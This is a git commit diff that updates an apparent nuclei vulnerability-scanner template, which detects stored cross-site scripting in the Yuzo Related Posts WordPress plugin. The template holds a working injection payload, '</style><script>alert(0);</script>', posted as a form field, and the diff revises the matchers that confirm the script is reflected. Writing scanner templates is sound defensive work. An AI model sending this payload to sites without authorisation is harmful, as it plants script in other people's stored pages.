updating rules

patch-1
team-projectdiscovery 2020-12-25 15:26:00 +05:30
parent e5234dbcc6
commit 6bc5af5ce2
1 changed files with 8 additions and 9 deletions

View File

@ -25,7 +25,7 @@ requests:
Content-Type: application/x-www-form-urlencoded
yuzo_related_post_css_and_style=</style><script>alert(0);</script>
- |
GET / HTTP/1.1
Host: {{Hostname}}
@ -34,11 +34,10 @@ requests:
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "alert(0)"
- "<script>alert(0);</script>"
part: body
- type: dsl
dsl:
- 'contains(body_2, "<script>alert(0);</script>") == true'
- type: dsl
dsl:
- "contains(tolower(all_headers_2), 'text/html') == true"